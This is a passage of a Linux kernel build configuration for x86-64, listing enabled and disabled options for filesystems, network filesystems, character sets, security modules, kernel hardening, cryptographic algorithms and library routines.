CONFIG_JFFS2_FS_SECURITY=y
CONFIG_JFFS2_COMPRESSION_OPTIONS=y
CONFIG_JFFS2_ZLIB=y
CONFIG_JFFS2_LZO=y
CONFIG_JFFS2_RTIME=y
CONFIG_JFFS2_RUBIN=y
# CONFIG_JFFS2_CMODE_NONE is not set
CONFIG_JFFS2_CMODE_PRIORITY=y
# CONFIG_JFFS2_CMODE_SIZE is not set
# CONFIG_JFFS2_CMODE_FAVOURLZO is not set
CONFIG_UBIFS_FS=y
CONFIG_UBIFS_FS_ADVANCED_COMPR=y
CONFIG_UBIFS_FS_LZO=y
CONFIG_UBIFS_FS_ZLIB=y
CONFIG_UBIFS_FS_ZSTD=y
CONFIG_UBIFS_ATIME_SUPPORT=y
CONFIG_UBIFS_FS_XATTR=y
CONFIG_UBIFS_FS_SECURITY=y
# CONFIG_UBIFS_FS_AUTHENTICATION is not set
CONFIG_CRAMFS=y
CONFIG_CRAMFS_BLOCKDEV=y
CONFIG_CRAMFS_MTD=y
CONFIG_SQUASHFS=y
# CONFIG_SQUASHFS_FILE_CACHE is not set
CONFIG_SQUASHFS_FILE_DIRECT=y
CONFIG_SQUASHFS_DECOMP_MULTI=y
# CONFIG_SQUASHFS_CHOICE_DECOMP_BY_MOUNT is not set
# CONFIG_SQUASHFS_COMPILE_DECOMP_SINGLE is not set
CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI=y
# CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI_PERCPU is not set
# CONFIG_SQUASHFS_MOUNT_DECOMP_THREADS is not set
CONFIG_SQUASHFS_XATTR=y
# CONFIG_SQUASHFS_COMP_CACHE_FULL is not set
CONFIG_SQUASHFS_ZLIB=y
CONFIG_SQUASHFS_LZ4=y
CONFIG_SQUASHFS_LZO=y
CONFIG_SQUASHFS_XZ=y
CONFIG_SQUASHFS_ZSTD=y
CONFIG_SQUASHFS_4K_DEVBLK_SIZE=y
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_VXFS_FS=y
CONFIG_MINIX_FS=y
CONFIG_OMFS_FS=y
CONFIG_HPFS_FS=y
CONFIG_QNX4FS_FS=y
CONFIG_QNX6FS_FS=y
# CONFIG_QNX6FS_DEBUG is not set
CONFIG_ROMFS_FS=y
# CONFIG_ROMFS_BACKED_BY_BLOCK is not set
# CONFIG_ROMFS_BACKED_BY_MTD is not set
CONFIG_ROMFS_BACKED_BY_BOTH=y
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_ROMFS_ON_MTD=y
CONFIG_PSTORE=y
CONFIG_PSTORE_DEFAULT_KMSG_BYTES=10240
CONFIG_PSTORE_COMPRESS=y
# CONFIG_PSTORE_CONSOLE is not set
# CONFIG_PSTORE_PMSG is not set
# CONFIG_PSTORE_RAM is not set
# CONFIG_PSTORE_BLK is not set
CONFIG_UFS_FS=y
CONFIG_UFS_FS_WRITE=y
# CONFIG_UFS_DEBUG is not set
CONFIG_EROFS_FS=y
# CONFIG_EROFS_FS_DEBUG is not set
CONFIG_EROFS_FS_XATTR=y
CONFIG_EROFS_FS_POSIX_ACL=y
CONFIG_EROFS_FS_SECURITY=y
# CONFIG_EROFS_FS_BACKED_BY_FILE is not set
CONFIG_EROFS_FS_ZIP=y
# CONFIG_EROFS_FS_ZIP_LZMA is not set
# CONFIG_EROFS_FS_ZIP_DEFLATE is not set
# CONFIG_EROFS_FS_ZIP_ZSTD is not set
# CONFIG_EROFS_FS_ZIP_ACCEL is not set
# CONFIG_EROFS_FS_ONDEMAND is not set
# CONFIG_EROFS_FS_PCPU_KTHREAD is not set
# CONFIG_EROFS_FS_PAGE_CACHE_SHARE is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
# CONFIG_NFS_V2 is not set
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
# CONFIG_NFS_SWAP is not set
CONFIG_NFS_V4_0=y
CONFIG_NFS_V4_2=y
CONFIG_PNFS_FILE_LAYOUT=y
CONFIG_PNFS_BLOCK=y
CONFIG_PNFS_FLEXFILE_LAYOUT=y
CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org"
# CONFIG_NFS_V4_1_MIGRATION is not set
CONFIG_NFS_V4_SECURITY_LABEL=y
CONFIG_ROOT_NFS=y
CONFIG_NFS_FSCACHE=y
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
# CONFIG_NFS_DISABLE_UDP_SUPPORT is not set
CONFIG_NFS_V4_2_READ_PLUS=y
CONFIG_NFSD=y
# CONFIG_NFSD_V2 is not set
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_NFSD_PNFS=y
CONFIG_NFSD_BLOCKLAYOUT=y
CONFIG_NFSD_SCSILAYOUT=y
CONFIG_NFSD_FLEXFILELAYOUT=y
CONFIG_NFSD_V4_2_INTER_SSC=y
CONFIG_NFSD_V4_SECURITY_LABEL=y
# CONFIG_NFSD_LEGACY_CLIENT_TRACKING is not set
# CONFIG_NFSD_V4_DELEG_TIMESTAMPS is not set
# CONFIG_NFSD_V4_POSIX_ACLS is not set
CONFIG_GRACE_PERIOD=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
# CONFIG_NFS_LOCALIO is not set
CONFIG_NFS_V4_2_SSC_HELPER=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_BACKCHANNEL=y
CONFIG_RPCSEC_GSS_KRB5=y
# CONFIG_RPCSEC_GSS_KRB5_ENCTYPES_AES_SHA1 is not set
# CONFIG_RPCSEC_GSS_KRB5_ENCTYPES_CAMELLIA is not set
# CONFIG_RPCSEC_GSS_KRB5_ENCTYPES_AES_SHA2 is not set
# CONFIG_SUNRPC_DEBUG is not set
# CONFIG_SUNRPC_XPRT_RDMA is not set
CONFIG_CEPH_FS=y
CONFIG_CEPH_FSCACHE=y
CONFIG_CEPH_FS_POSIX_ACL=y
# CONFIG_CEPH_FS_SECURITY_LABEL is not set
CONFIG_CIFS=y
# CONFIG_CIFS_STATS2 is not set
CONFIG_CIFS_ALLOW_INSECURE_LEGACY=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
CONFIG_CIFS_DEBUG=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DEBUG_DUMP_KEYS is not set
CONFIG_CIFS_DFS_UPCALL=y
CONFIG_CIFS_SWN_UPCALL=y
CONFIG_CIFS_SMB_DIRECT=y
CONFIG_CIFS_FSCACHE=y
# CONFIG_CIFS_ROOT is not set
# CONFIG_CIFS_COMPRESSION is not set
CONFIG_SMB_SERVER=y
# CONFIG_SMB_SERVER_SMBDIRECT is not set
# CONFIG_SMB_SERVER_CHECK_CAP_NET_ADMIN is not set
# CONFIG_SMB_SERVER_KERBEROS5 is not set
CONFIG_SMBFS=y
# CONFIG_CODA_FS is not set
CONFIG_AFS_FS=y
# CONFIG_AFS_DEBUG is not set
CONFIG_AFS_FSCACHE=y
# CONFIG_AFS_DEBUG_CURSOR is not set
CONFIG_9P_FS=y
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_737=y
CONFIG_NLS_CODEPAGE_775=y
CONFIG_NLS_CODEPAGE_850=y
CONFIG_NLS_CODEPAGE_852=y
CONFIG_NLS_CODEPAGE_855=y
CONFIG_NLS_CODEPAGE_857=y
CONFIG_NLS_CODEPAGE_860=y
CONFIG_NLS_CODEPAGE_861=y
CONFIG_NLS_CODEPAGE_862=y
CONFIG_NLS_CODEPAGE_863=y
CONFIG_NLS_CODEPAGE_864=y
CONFIG_NLS_CODEPAGE_865=y
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_869=y
CONFIG_NLS_CODEPAGE_936=y
CONFIG_NLS_CODEPAGE_950=y
CONFIG_NLS_CODEPAGE_932=y
CONFIG_NLS_CODEPAGE_949=y
CONFIG_NLS_CODEPAGE_874=y
CONFIG_NLS_ISO8859_8=y
CONFIG_NLS_CODEPAGE_1250=y
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=y
CONFIG_NLS_ISO8859_3=y
CONFIG_NLS_ISO8859_4=y
CONFIG_NLS_ISO8859_5=y
CONFIG_NLS_ISO8859_6=y
CONFIG_NLS_ISO8859_7=y
CONFIG_NLS_ISO8859_9=y
CONFIG_NLS_ISO8859_13=y
CONFIG_NLS_ISO8859_14=y
CONFIG_NLS_ISO8859_15=y
CONFIG_NLS_KOI8_R=y
CONFIG_NLS_KOI8_U=y
CONFIG_NLS_MAC_ROMAN=y
CONFIG_NLS_MAC_CELTIC=y
CONFIG_NLS_MAC_CENTEURO=y
CONFIG_NLS_MAC_CROATIAN=y
CONFIG_NLS_MAC_CYRILLIC=y
CONFIG_NLS_MAC_GAELIC=y
CONFIG_NLS_MAC_GREEK=y
CONFIG_NLS_MAC_ICELAND=y
CONFIG_NLS_MAC_INUIT=y
CONFIG_NLS_MAC_ROMANIAN=y
CONFIG_NLS_MAC_TURKISH=y
CONFIG_NLS_UTF8=y
CONFIG_NLS_UCS2_UTILS=y
CONFIG_DLM=y
# CONFIG_DLM_DEBUG is not set
CONFIG_UNICODE=y
CONFIG_IO_WQ=y
# end of File systems

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_REQUEST_CACHE=y
CONFIG_PERSISTENT_KEYRINGS=y
CONFIG_BIG_KEYS=y
CONFIG_TRUSTED_KEYS=y
# CONFIG_TRUSTED_KEYS_TPM is not set
# CONFIG_TRUSTED_KEYS_TEE is not set

#
# No trust source selected!
#
CONFIG_ENCRYPTED_KEYS=y
# CONFIG_USER_DECRYPTED_DATA is not set
CONFIG_KEY_DH_OPERATIONS=y
CONFIG_KEY_NOTIFICATIONS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
CONFIG_PROC_MEM_ALWAYS_FORCE=y
# CONFIG_PROC_MEM_FORCE_PTRACE is not set
# CONFIG_PROC_MEM_NO_FORCE is not set
CONFIG_SECURITY=y
CONFIG_HAS_SECURITY_AUDIT=y
CONFIG_SECURITYFS=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_INFINIBAND=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_PATH=y
# CONFIG_INTEL_TXT is not set
CONFIG_LSM_MMAP_MIN_ADDR=65536
# CONFIG_STATIC_USERMODEHELPER is not set
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_SIDTAB_HASH_BITS=9
CONFIG_SECURITY_SELINUX_SID2STR_CACHE_SIZE=256
CONFIG_SECURITY_SELINUX_AVC_HASH_BITS=9
# CONFIG_SECURITY_SELINUX_DEBUG is not set
# CONFIG_SECURITY_SMACK is not set
CONFIG_SECURITY_TOMOYO=y
CONFIG_SECURITY_TOMOYO_MAX_ACCEPT_ENTRY=64
CONFIG_SECURITY_TOMOYO_MAX_AUDIT_LOG=32
CONFIG_SECURITY_TOMOYO_OMIT_USERSPACE_LOADER=y
CONFIG_SECURITY_TOMOYO_INSECURE_BUILTIN_SETTING=y
# CONFIG_SECURITY_APPARMOR is not set
# CONFIG_SECURITY_LOADPIN is not set
CONFIG_SECURITY_YAMA=y
CONFIG_SECURITY_SAFESETID=y
CONFIG_SECURITY_LOCKDOWN_LSM=y
CONFIG_SECURITY_LOCKDOWN_LSM_EARLY=y
CONFIG_LOCK_DOWN_KERNEL_FORCE_NONE=y
# CONFIG_LOCK_DOWN_KERNEL_FORCE_INTEGRITY is not set
# CONFIG_LOCK_DOWN_KERNEL_FORCE_CONFIDENTIALITY is not set
CONFIG_SECURITY_LANDLOCK=y
# CONFIG_SECURITY_IPE is not set
CONFIG_INTEGRITY=y
CONFIG_INTEGRITY_SIGNATURE=y
CONFIG_INTEGRITY_ASYMMETRIC_KEYS=y
CONFIG_INTEGRITY_TRUSTED_KEYRING=y
CONFIG_INTEGRITY_AUDIT=y
CONFIG_IMA=y
CONFIG_IMA_MEASURE_PCR_IDX=10
CONFIG_IMA_LSM_RULES=y
CONFIG_IMA_NG_TEMPLATE=y
# CONFIG_IMA_SIG_TEMPLATE is not set
CONFIG_IMA_DEFAULT_TEMPLATE="ima-ng"
# CONFIG_IMA_DEFAULT_HASH_SHA1 is not set
CONFIG_IMA_DEFAULT_HASH_SHA256=y
# CONFIG_IMA_DEFAULT_HASH_SHA512 is not set
# CONFIG_IMA_DEFAULT_HASH_WP512 is not set
CONFIG_IMA_DEFAULT_HASH="sha256"
CONFIG_IMA_WRITE_POLICY=y
CONFIG_IMA_READ_POLICY=y
CONFIG_IMA_APPRAISE=y
# CONFIG_IMA_ARCH_POLICY is not set
# CONFIG_IMA_APPRAISE_BUILD_POLICY is not set
# CONFIG_IMA_APPRAISE_BOOTPARAM is not set
CONFIG_IMA_APPRAISE_MODSIG=y
# CONFIG_IMA_KEYRINGS_PERMIT_SIGNED_BY_BUILTIN_OR_SECONDARY is not set
# CONFIG_IMA_BLACKLIST_KEYRING is not set
# CONFIG_IMA_LOAD_X509 is not set
CONFIG_IMA_MEASURE_ASYMMETRIC_KEYS=y
CONFIG_IMA_QUEUE_EARLY_BOOT_KEYS=y
# CONFIG_IMA_DISABLE_HTABLE is not set
CONFIG_EVM=y
CONFIG_EVM_ATTR_FSUUID=y
CONFIG_EVM_ADD_XATTRS=y
# CONFIG_EVM_LOAD_X509 is not set
CONFIG_DEFAULT_SECURITY_SELINUX=y
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
# CONFIG_DEFAULT_SECURITY_DAC is not set
CONFIG_LSM="landlock,lockdown,yama,safesetid,integrity,tomoyo,selinux,bpf"

#
# Kernel hardening options
#

#
# Memory initialization
#
CONFIG_CC_HAS_AUTO_VAR_INIT_PATTERN=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO_BARE=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO=y
# CONFIG_INIT_STACK_NONE is not set
# CONFIG_INIT_STACK_ALL_PATTERN is not set
CONFIG_INIT_STACK_ALL_ZERO=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set
CONFIG_CC_HAS_ZERO_CALL_USED_REGS=y
# CONFIG_ZERO_CALL_USED_REGS is not set
# end of Memory initialization

#
# Bounds checking
#
CONFIG_FORTIFY_SOURCE=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_HARDENED_USERCOPY_DEFAULT_ON is not set
# end of Bounds checking

#
# Hardening of kernel data structures
#
CONFIG_LIST_HARDENED=y
CONFIG_BUG_ON_DATA_CORRUPTION=y
# end of Hardening of kernel data structures

CONFIG_RANDSTRUCT_NONE=y
# end of Kernel hardening options
# end of Security options

CONFIG_XOR_BLOCKS=y
CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_SIG=y
CONFIG_CRYPTO_SIG2=y
CONFIG_CRYPTO_SKCIPHER=y
CONFIG_CRYPTO_SKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_RNG_DEFAULT=y
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_AKCIPHER=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_KPP=y
CONFIG_CRYPTO_ACOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_USER=y
# CONFIG_CRYPTO_SELFTESTS is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_PCRYPT=y
CONFIG_CRYPTO_CRYPTD=y
CONFIG_CRYPTO_AUTHENC=y
CONFIG_CRYPTO_KRB5ENC=y
# CONFIG_CRYPTO_BENCHMARK is not set
CONFIG_CRYPTO_ENGINE=y
# end of Crypto core or helper

#
# Public-key cryptography
#
CONFIG_CRYPTO_RSA=y
CONFIG_CRYPTO_DH=y
# CONFIG_CRYPTO_DH_RFC7919_GROUPS is not set
CONFIG_CRYPTO_ECC=y
CONFIG_CRYPTO_ECDH=y
# CONFIG_CRYPTO_ECDSA is not set
CONFIG_CRYPTO_ECRDSA=y
# CONFIG_CRYPTO_MLDSA is not set
# end of Public-key cryptography

#
# Block ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_ANUBIS=y
CONFIG_CRYPTO_ARIA=y
CONFIG_CRYPTO_BLOWFISH=y
CONFIG_CRYPTO_BLOWFISH_COMMON=y
CONFIG_CRYPTO_CAMELLIA=y
CONFIG_CRYPTO_CAST_COMMON=y
CONFIG_CRYPTO_CAST5=y
CONFIG_CRYPTO_CAST6=y
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_FCRYPT=y
CONFIG_CRYPTO_KHAZAD=y
CONFIG_CRYPTO_SEED=y
CONFIG_CRYPTO_SERPENT=y
CONFIG_CRYPTO_SM4=y
CONFIG_CRYPTO_SM4_GENERIC=y
CONFIG_CRYPTO_TEA=y
CONFIG_CRYPTO_TWOFISH=y
CONFIG_CRYPTO_TWOFISH_COMMON=y
# end of Block ciphers

#
# Length-preserving ciphers and modes
#
CONFIG_CRYPTO_ADIANTUM=y
CONFIG_CRYPTO_ARC4=y
CONFIG_CRYPTO_CHACHA20=y
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_CTR=y
CONFIG_CRYPTO_CTS=y
CONFIG_CRYPTO_ECB=y
CONFIG_CRYPTO_HCTR2=y
CONFIG_CRYPTO_LRW=y
CONFIG_CRYPTO_PCBC=y
CONFIG_CRYPTO_XCTR=y
CONFIG_CRYPTO_XTS=y
# end of Length-preserving ciphers and modes

#
# AEAD (authenticated encryption with associated data) ciphers
#
CONFIG_CRYPTO_AEGIS128=y
CONFIG_CRYPTO_CHACHA20POLY1305=y
CONFIG_CRYPTO_CCM=y
CONFIG_CRYPTO_GCM=y
CONFIG_CRYPTO_GENIV=y
CONFIG_CRYPTO_SEQIV=y
CONFIG_CRYPTO_ECHAINIV=y
CONFIG_CRYPTO_ESSIV=y
# end of AEAD (authenticated encryption with associated data) ciphers

#
# Hashes, digests, and MACs
#
# CONFIG_CRYPTO_BLAKE2B is not set
CONFIG_CRYPTO_CMAC=y
CONFIG_CRYPTO_GHASH=y
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_MICHAEL_MIC=y
CONFIG_CRYPTO_RMD160=y
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
CONFIG_CRYPTO_SHA3=y
# CONFIG_CRYPTO_SM3_GENERIC is not set
CONFIG_CRYPTO_STREEBOG=y
CONFIG_CRYPTO_WP512=y
CONFIG_CRYPTO_XCBC=y
# CONFIG_CRYPTO_XXHASH is not set
# end of Hashes, digests, and MACs

#
# CRCs (cyclic redundancy checks)
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_CRC32 is not set
# end of CRCs (cyclic redundancy checks)

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
CONFIG_CRYPTO_LZO=y
CONFIG_CRYPTO_842=y
CONFIG_CRYPTO_LZ4=y
CONFIG_CRYPTO_LZ4HC=y
CONFIG_CRYPTO_ZSTD=y
# end of Compression

#
# Random number generation
#
CONFIG_CRYPTO_DRBG_MENU=y
CONFIG_CRYPTO_DRBG_HMAC=y
CONFIG_CRYPTO_DRBG_HASH=y
CONFIG_CRYPTO_DRBG_CTR=y
CONFIG_CRYPTO_DRBG=y
CONFIG_CRYPTO_JITTERENTROPY=y
CONFIG_CRYPTO_JITTERENTROPY_MEMORY_BLOCKS=64
CONFIG_CRYPTO_JITTERENTROPY_MEMORY_BLOCKSIZE=32
CONFIG_CRYPTO_JITTERENTROPY_OSR=1
CONFIG_CRYPTO_KDF800108_CTR=y
CONFIG_CRYPTO_DF80090A=y
# end of Random number generation

#
# Userspace interface
#
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_HASH=y
CONFIG_CRYPTO_USER_API_SKCIPHER=y
CONFIG_CRYPTO_USER_API_RNG=y
# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
CONFIG_CRYPTO_USER_API_AEAD=y
CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y
# end of Userspace interface

#
# Accelerated Cryptographic Algorithms for CPU (x86)
#
CONFIG_CRYPTO_AES_NI_INTEL=y
CONFIG_CRYPTO_BLOWFISH_X86_64=y
CONFIG_CRYPTO_CAMELLIA_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_CAST5_AVX_X86_64=y
CONFIG_CRYPTO_CAST6_AVX_X86_64=y
CONFIG_CRYPTO_DES3_EDE_X86_64=y
CONFIG_CRYPTO_SERPENT_SSE2_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX2_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=y
CONFIG_CRYPTO_TWOFISH_AVX_X86_64=y
CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64=y
# CONFIG_CRYPTO_ARIA_AESNI_AVX2_X86_64 is not set
# CONFIG_CRYPTO_ARIA_GFNI_AVX512_X86_64 is not set
CONFIG_CRYPTO_AEGIS128_AESNI_SSE2=y
CONFIG_CRYPTO_SM3_AVX_X86_64=y
CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=y
# end of Accelerated Cryptographic Algorithms for CPU (x86)

CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_PADLOCK=y
CONFIG_CRYPTO_DEV_PADLOCK_AES=y
CONFIG_CRYPTO_DEV_PADLOCK_SHA=y
# CONFIG_CRYPTO_DEV_ATMEL_ECC is not set
# CONFIG_CRYPTO_DEV_ATMEL_SHA204A is not set
CONFIG_CRYPTO_DEV_CCP=y
CONFIG_CRYPTO_DEV_CCP_DD=y
# CONFIG_CRYPTO_DEV_SP_CCP is not set
# CONFIG_CRYPTO_DEV_SP_PSP is not set
# CONFIG_CRYPTO_DEV_NITROX_CNN55XX is not set
CONFIG_CRYPTO_DEV_QAT=y
CONFIG_CRYPTO_DEV_QAT_DH895xCC=y
CONFIG_CRYPTO_DEV_QAT_C3XXX=y
CONFIG_CRYPTO_DEV_QAT_C62X=y
# CONFIG_CRYPTO_DEV_QAT_4XXX is not set
# CONFIG_CRYPTO_DEV_QAT_420XX is not set
# CONFIG_CRYPTO_DEV_QAT_6XXX is not set
CONFIG_CRYPTO_DEV_QAT_DH895xCCVF=y
CONFIG_CRYPTO_DEV_QAT_C3XXXVF=y
CONFIG_CRYPTO_DEV_QAT_C62XVF=y
# CONFIG_CRYPTO_DEV_QAT_ERROR_INJECTION is not set
CONFIG_CRYPTO_DEV_VIRTIO=y
# CONFIG_CRYPTO_DEV_SAFEXCEL is not set
# CONFIG_CRYPTO_DEV_CCREE is not set
# CONFIG_CRYPTO_DEV_AMLOGIC_GXL is not set
CONFIG_ASYMMETRIC_KEY_TYPE=y
CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y
CONFIG_X509_CERTIFICATE_PARSER=y
CONFIG_PKCS8_PRIVATE_KEY_PARSER=y
CONFIG_PKCS7_MESSAGE_PARSER=y
CONFIG_PKCS7_TEST_KEY=y
CONFIG_SIGNED_PE_FILE_VERIFICATION=y
# CONFIG_FIPS_SIGNATURE_SELFTEST is not set

#
# Certificates for signature checking
#
CONFIG_MODULE_SIG_KEY="certs/signing_key.pem"
CONFIG_MODULE_SIG_KEY_TYPE_RSA=y
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_44 is not set
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_65 is not set
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_87 is not set
CONFIG_SYSTEM_TRUSTED_KEYRING=y
CONFIG_SYSTEM_TRUSTED_KEYS=""
# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set
CONFIG_SECONDARY_TRUSTED_KEYRING=y
# CONFIG_SECONDARY_TRUSTED_KEYRING_SIGNED_BY_BUILTIN is not set
# CONFIG_SYSTEM_BLACKLIST_KEYRING is not set
CONFIG_OPENSSL_SUPPORTS_ML_DSA=y
# end of Certificates for signature checking

CONFIG_CRYPTO_KRB5=y
# CONFIG_CRYPTO_KRB5_SELFTESTS is not set
CONFIG_BINARY_PRINTF=y

#
# Library routines
#
CONFIG_RAID6_PQ=y
# CONFIG_RAID6_PQ_BENCHMARK is not set
CONFIG_LINEAR_RANGES=y
# CONFIG_PACKING is not set
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_NET_UTILS=y
# CONFIG_CORDIC is not set
# CONFIG_PRIME_NUMBERS is not set
CONFIG_RATIONAL=y
CONFIG_GENERIC_IOMAP=y
CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y
CONFIG_ARCH_HAS_FAST_MULTIPLIER=y
CONFIG_ARCH_USE_SYM_ANNOTATIONS=y
CONFIG_CRC8=y
CONFIG_CRC16=y
CONFIG_CRC_CCITT=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_T10DIF_ARCH=y
CONFIG_CRC32=y
CONFIG_CRC32_ARCH=y
CONFIG_CRC64=y
CONFIG_CRC64_ARCH=y
CONFIG_CRC_OPTIMIZATIONS=y

#
# Crypto library routines
#
CONFIG_CRYPTO_HASH_INFO=y
CONFIG_CRYPTO_LIB_UTILS=y
CONFIG_CRYPTO_LIB_AES=y
CONFIG_CRYPTO_LIB_AES_ARCH=y
CONFIG_CRYPTO_LIB_ARC4=y
CONFIG_CRYPTO_LIB_GF128MUL=y
CONFIG_CRYPTO_LIB_BLAKE2B=y
CONFIG_CRYPTO_LIB_BLAKE2S_ARCH=y
CONFIG_CRYPTO_LIB_CHACHA=y
CONFIG_CRYPTO_LIB_CHACHA_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519=y
CONFIG_CRYPTO_LIB_CURVE25519_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519_GENERIC=y
CONFIG_CRYPTO_LIB_DES=y
CONFIG_CRYPTO_LIB_MD5=y
CONFIG_CRYPTO_LIB_NH=y
CONFIG_CRYPTO_LIB_NH_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305=y
CONFIG_CRYPTO_LIB_POLY1305_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305_GENERIC=y
CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11
CONFIG_CRYPTO_LIB_POLYVAL=y
CONFIG_CRYPTO_LIB_POLYVAL_ARCH=y
CONFIG_CRYPTO_LIB_CHACHA20POLY1305=y
CONFIG_CRYPTO_LIB_SHA1=y
CONFIG_CRYPTO_LIB_SHA1_ARCH=y
CONFIG_CRYPTO_LIB_SHA256=y
CONFIG_CRYPTO_LIB_SHA256_ARCH=y
CONFIG_CRYPTO_LIB_SHA512=y
CONFIG_CRYPTO_LIB_SHA512_ARCH=y
CONFIG_CRYPTO_LIB_SHA3=y
CONFIG_CRYPTO_LIB_SM3=y
# end of Crypto library routines

CONFIG_XXHASH=y
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_842_COMPRESS=y
CONFIG_842_DECOMPRESS=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_COMPRESS=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_COMPRESS=y
CONFIG_LZ4HC_COMPRESS=y
CONFIG_LZ4_DECOMPRESS=y
CONFIG_ZSTD_COMMON=y
CONFIG_ZSTD_COMPRESS=y
CONFIG_ZSTD_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_ARM64=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_RISCV=y
# CONFIG_XZ_DEC_MICROLZMA is not set
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
